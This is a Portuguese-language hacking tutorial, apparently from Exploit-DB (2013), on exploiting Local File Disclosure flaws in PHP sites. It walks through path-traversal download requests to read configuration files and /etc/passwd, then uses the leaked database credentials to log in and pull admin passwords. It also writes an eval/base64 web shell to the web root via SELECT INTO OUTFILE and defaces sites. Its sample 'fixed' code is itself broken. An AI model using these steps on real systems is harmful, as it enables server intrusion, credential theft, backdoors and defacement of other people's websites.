[Portuguese] Exploiting LFD Vulnerabilities

EDB-ID:

29856

CVE:

N/A


Platform:

PHP

Published:

2013-11-27

					+-----------------------------------------------------------------------------------+
					|                @@@@@@ @@@       @@@@@@  @@@ @@@ @@@@@@@@ @@@@@@@                  |
					|               !@@     @@!      @@!  @@@ @@! !@@ @@!      @@!  @@@                 |
					|                !@@!!  @!!      @!@!@!@!  !@!@!  @!!!:!   @!@!!@!                  |
					|                   !:! !!:      !!:  !!!   !!:   !!:      !!: :!!                  |
					|               ::.: :  : ::.: :  :   : :   .:    : :: :::  :   : :                 |
					|                                                                                   |
					|                 @@@@@@  @@@  @@@  @@@ @@@  @@@ @@@@@@@@ @@@@@@@                   |
					|                @@!  @@@ @@!  @@!  @@! @@!@!@@@ @@!      @@!  @@@                  |
					|                @!@  !@! @!!  !!@  @!@ @!@@!!@! @!!!:!   @!@!!@!                   |
					|                !!:  !!!  !:  !!:  !!  !!:  !!! !!:      !!: :!!                   |
					|                 : :. :    ::.:  :::   ::    :  : :: :::  :   : :                  |
					+-------------------------------+----------------+----------------------------------+
					|Autor: SLAYER OWNER            |Data de criação |
					|Twitter: @SLAYER_OWNER         |dd / mm / yyyy  |
					|FanPage: SLAYER OWNER          |20 / 11 / 2013  |
					|Blog: slayerowner.blogspot.com |----------------+
					+-------------------------------+ Para o alto e avante SLAYER! :D


Introdução


Não sei fazer introdução e vocẽ também não está nem aí pra isso, então vamos logo para o que interessa,certo? Sim, vamos!

Nesta 'biblia' estarei expondo alguns métodos de exploração e truques que podem ser usados para invadir uma falha comum porém sendo encontrada em muitos websites, isto no exclui sites superiores como por exemplo os favoritos dos kiddies (webs governamentais). Se você é algum Administrador de algum website, tome isto como uma experiência para que possa  evitar este tipo de risco com seu site, mesmo sendo desenvolvido por CMS (WordPress, Joomla, Magento, vBulletin and etc...)
Então como disse estarei ensinando várias táticas e como fazer para solucionar-los enquanto assisto "The Warriors (1979)". :)


1- O que é exatamente um LFD?

Divulgação de Arquivos Locais (Local File Disclosure), como dito, uma falha comum porém bem grave, pelo próposito de ser possível ler os arquivos confidenciais como por exemplo o "/etc/passwd/" (onde está localizado os usúarios e senhas, é um arquivo necessario para uma ataque de LFI), "/etc/shadow" (arquivo onde contém reais senhas criptografadas de cada usúario, onde é armazenado informações das contas), "config.php" (o nome padrão do arquivo onde está localizado a source da ligação da database com o servidor, que muitas vezes é encontrado o MySQL).


2- Como detectar este falha?

Esta falha ocorre na "readfile()", que nos dar o direito de fazer o download de qualquer arquivo do servidor dentro de nosso privilegio (é variado, como qualquer usuario comum, apache, www ou até mesmo o próprio 'root', porém é raro obter este privilégio tão fácil sem tentar a execução de um exploit.c). O bug é contigo por um tipo de filtragem no sistema causado pela resultante que nos fornece está oportunidade de realizar o download do arquivo. Recomendo que saiba pelo menos um básico de PHP assim irá ter conseguir um ótimo desempenho na exploração e na rápida detecção dessas falhas sem dar uma de Script Kiddie usando ferramentas dos outros para poder satisfazer seus prazeres. Veja este pequeno script em PHP onde se encontra a falha:

#FAIL // Falha detectada.
<?php

$file = $_GET['file'];
$readfile = readfile($file);

?>


Nessa hora se o atacante tiver um pequeno conhecimento em PHP, encontrará a falha e podera fazer uma festa no servidor alvo. Então ele começará com a busca de certos arquivos, como por exemplo se a falha LFD foi encontrada em um servidor codificado em PHP, pode-se analisar a "index.php" e procurando pela chave "include" que para quem já conhece a linguagem saberá que ela está fazendo um tipo de ligação ou um complemento para o script do arquivo onde se encontra. Neste caso o "include" que procuramos é o que o nosso "brother" que irá nos mostrar o caminho do arquivo que faz a ligação do servidor com a database, o famoso "config.php". Use a cabeça se o site alvo é desenvolvido por CMS os nomes serão padrões, exemplo: wp-config.php (WordPress), configuration.php (Joomla!), config.php (vBulletin) e por aí vai. Estude o padrão dos CMS, crie um localhost, instale e estude as configurações, saiba primeiro como funciona cada processo.

#LIKE A BOSS // Falha corrigida.
<?php

$file = preg_replace(‘/[^a-zA-Z0-9\_]/’,”,bolumle($_GET[file]));
$readfile = readfile($file);

?>


3 - Como explorar?

O download do arquivo pode facilmente ser acesso da seguinte forma:
http://www.targetweb.com/index.php/file.php?path=Arquivo.pdf  > Por enquanto normal, estará fazendo o download do Arquivo.pdf que é o que o site "targetweb" está lhe oferecendo, mas podemos manipular e obter o arquivo que queremos, vamos fazer uma exploração e encontrar o arquivo que faça a ligação do servidor com a database, como sabemos que o site alvo não é um CMS o arquivo pode ter qualquer nome, por isso usaremos outros arquivos que nos faça chegar até ele. Prosseguimos:


http://www.targetweb.com/index.php/file.php?path=../index.php > Aqui conseguimos fazer o download da index.php, deve estar se perguntando.. "mas que merda o index.php irá ajudar?" Bem, você sabe que a index.php é o arquivo principal, certo? então é nele que estará o alocamento de diversos arquivos pode ser que não irá encontrar um "include" mostrando diretamente o arquivo da configuração mas levará para outros que e esse "outro" poderá nos dar novas pistas ou até mesmo a responsta. Analisando o index.php encontrei algo do tipo:

<?php
	require_one("diario.php");
?>

ok, como não tem nada do tipo "/pasta/diario.php" ou "../pasta/diario" essas coisas básicas de comandos de diretório, no require só está apenas "diario.php" então já estamos no mesmo lugar que se encontra. Vamos encontrar-lo, substituindo pela palavra index.php

http://www.targetweb.com/index.php/file.php?path=../diario.php > Aí está, vamos ver o que temos.

Nele encontramos muitos requires, no que apresenta ser um arquivo fazendo múltiplas ligações, por exemplo no começo do arquivo:

<?php
	require_once("includes/configuracoes.php");
	require_once("includes/conexao.php");
	require_once("includes/funcoes.php");

$database = new conectar();
....

[O arquivo não se alimenta apenas disso, é preciso de outras ações podendo encontrar até mesmo alguns comandos em SQL, mas não preciso aprofundar tanto assim, mesmo que é desnecessário e além de não nos importar, não pelo menos o ataque que estamos planejando].

Agora já sabemos onde encontramos o arquivo com todas as informações da database e está localizado na paste includes, porém se pensar bem o arquivo correto é qual? exatamente o arquivo "conexao.php" como já havia dito o script que queremos encontrar é uma conexão com a DB e o 'localhost', você de estar se perguntando o que poderiamos encontrar no "configuracoes.php" a resposta é simples, a única coisa que poderá lhe interessar lá é o caminho root (Full Disclosure, vou falar dele mais a frente) podemos também querer explorar outras partes como os arquivos, por exemplo "funcoes.php", pense que está em um game RPG que onde o mapa irá liberar apenas por onde você vá, quando já é encontrado o ponto de objetivo e o lugar não foi totalmente explorado é bom marcar onde está o lugar para poder voltar e explorar mais um pouco (eu pelo menos sempre faço isso), mas enfim sempre é bom explorar bem qualquer lugar novo. Mas para que o tutorial não vire um livro, vou ser objetivo e direto sem sair muito do foco. Parte de abrir o arquivo "configuracoes.php":

http://www.targetweb.com/index.php/file.php?path=../includes/configuracoes.php > Arquivo onde está localizado as ligações da DB com o a Web.
Como o site não é CMS então é óbvio que a source que encontrará será sempre uma novidade tanto quanto o proprio nome do arquivo "configuracoes.php". Ao abrirmos nos deparamos com algo do tipo:

<?php
	require_once("configuracoes.php");
	function erro_msg($erro){
		 switch($erro){
				case "01": die("Falha na conexão com o gerenciador");
				case "01": die("A database existe? Verifique-se");
				case "01": die("Comando inválido");

				default: die("Erro não localizado");
		}
}

	class conectar{
		var $result;
		private $host,$usuario,$senha,$banco,$conexao,$selecaobanco;

		function __construct(){

/*
		$this->host = 'localhost';
		$this->usuario = 'root';
		$this->senha = '';
		$this->banco = 'msfdb'
*/		

		$this->host = '0.0.0.0';
		$this->usuario = 'us3r-01';
		$this->senha = '004&pwd';
		$this->banco = 'fstbanco';
		
		$this->conexao = @mysql_connect($this->host,$this->usuario,$this->senha) or erro_msg("01");
		$this->selecaobanco = @mysql_connect($this->host,$this->usuario,$this->senha) or erro_msg("02");
}function getHost(){
	return $this->host;
}function setHost($host){
	$this->host = $host;
}function fechar($conexao){
	@mysql_close($conexao);
}function query($query){

	mysql_query("SET NAMES 'utf8'");
	mysql_query('SET character_set_connection=utf8')
	mysql_query('SET character_set_client=utf8');
	mysql_query('SET character_set_results=utf8');
		$this->result = @mysql_query($query, $this->conexao) or erro_msg("03");			

}function registros_retornados(){
	return @mysql_num_rows($this->result);
}function registros_afetados(){
	return @mysql_affected_rows();
}function fetch_object(){
	return @mysql_fetch_object($this->result);
	}
}				

?>


Até ficou um pouco maior que esperava, mas uma source de uma ligação é tipo isso. A primeira parte dando as variáveis e as mensagens que devem ser imprimidas (se você trabalha com a linguagem C/C++, Javas Bash e alguns outros, deve ter visto algo parecido), depois criamos a classe de conexão e damos tudo à ela que é preciso, como local, user, pass e o banco, logo então encontramos uma parte que deixei comentada, o que seria aquilo? Perceba que esta parte comentada é a mesma a parte de baixo que está com o mesmo modelo, porém com atribuições de valores dissidêntes, o que pode-se notar é que a parte acima seria uma backup padrão do MySQL, então a pessoa responsável pelo banco de dados deu uma averiguada na source e pensou: "Opa, é melhor mudarmos um pouco a configuração aqui, dando outro usuario e colocando uma senha e mudar o nome do banco", assim foi feito:
Usuario = us3r-01
Senha = 004&pwd
DB = fstbanco

Depois disso vem a linha de como deverá prosseguir a conexão e se caso der algum conflito aparecer a mensagem de erro de acordo com o que aconteceu, temos ali também o tipo de caracter que deverá ser expressado no caso o "utf8" que é o formato compatível com os caracteres com acentos, então caso irá codificar algo em inglês não se preocupe com isso. E por fim o resultado do processo se foi ocorrido perfeitamente, sei que isso não tem nada a ver mas como dito é bom saber um pouco sobre o PHP.


4 - Conectando no MySQL

No passo 3 vimos uma estrategia para obter-se o mais que necessário para fazer o Login na database. Apenas conecte.
Estamos dentro, agora temos várias escolhas, checar usuario e senha do painel e logar no site como Administrador(4.1), upload da shell/backdoor.(4.2) ou até mesmo fazer uma desconfiguração no site diretamente pelo MySQL(4.3) :-) //ai meu corassaum

4.1 - Do lado esquerdo terá duas database 'information_schema' onde contém informações do esquema, ou seja, dos privilégios e teremos a database do nosso alvo, lembre-se do ataque SQL Injection, são exatamente elas que acessamos, então procure a tabela que tenha algo relativo com usúarios, então estara logo de cara com os login e pass. As vezes o atacante prefere modificar alguma senha por causa do tipo da criptografia, ou então cria outro usúario com um privilégio Administrador, porém isso ocorre mais em sites CMS, principalmente o Joomla.

4.2 - Neste caso será que saber um pouco de SQL. Tenha em mãos o diretório root (full disclosure), nada dito aqui é novidade, não para aqueles que já praticam uma Injeção SQL avançado, lendo ou fazendo upload de arquivos na unha mesmo, a única diferença é que no PhpMyAdmin será em modo gráfico mas o processo é a mesma.
* Crie uma database com qualquer nome que quiser, nome meu caso vou chamar-la de 'shell'.
* Ela terá 1 table com o nome 'tbshell' e 1 coluna
* Estrutura de colunas nomeada como 'id' e 'id2'
Pronto, agora iremos para a aba do SQL onde iremos criar o arquivo. Tenha em mãos seu shell script criptografado em base64 para que não haja conflito com os demais comandos do SQL durante o processo interno, então faremos o seguinte:

SELECT "<?php eval(gzinflate(base64_decode('SEU SHELL CRIPTOGRAFADO EM BASE64')))); ?>" INTO OUTFILE "/var/www/kx9.php"

Aquele "/var/www/kx9.php" estou supondo que o nosso diretório root seria o "/var/www/" que é o padrão, pode conseguir o diretório root no "phpinfo.php", o que denomino como "kx9.php" é o nome do arquivo onde estara a sua shell, ou seja, se está no como '/var/www/kx9.php' logo sua script será encontrada em:
http://www.targetweb.com/kx9.php > Logo na raiz.
Quer deixar dentro de alguma outra pasta como por exemplo na pasta Admin então use: /var/www/admin/kx9.php é simples utilize o '/var/www/' como o site.


4.3 - Aqui não tenho muito que explicar não é mesmo? A não ser que não saiba nada de SQL o que lhe torna inútil numas horas dessas. Por isso repito procure entender apenas um pouco de PHP e SQL não precisa ser um programador dominante, é o mesmo que souber um pouco de HTML para criar seus próprios DEFACE, agora se nem ao menos HTML você compreende, sinto muito. :(
Não preciso escrever este passo, pois é a mesma coisa, substitua o script da shell pelo seu deface encriptado em base64 (óbvio) e pronto.



Chegamos ao fim lançarei mais alguns tutoriais e dicas em relação à Pentest.
Quero agradecer a um grande amigo, também profissional na Área de segurança. Thiago Laurito, valeu mesmo cara, tu é foda. :)
e alguns outros na qual tive amizade com o longo do tempo, mesmo alguns não sendo da área me deram grande força.
Um Salve para: 4nnihilat0r, aceeeeeeeeer, Synchr0nize, KoubackTr, S3NT1N3L4, Libero, AlfabetoVirtual, n4sss, Tripulante404, th3unkn0wn, rooterror, hipdead010, byCrazyDuck, R3voltado, 1337, AnonTrumanSec.

Aos Teams > HighTech Brazil HackTeam, Argentina HackTeam, Black Hackers Team, LulzSecBR, AnonymousGlobo.
E um espcial para aquele que sempre estava comigo: Kuroi <3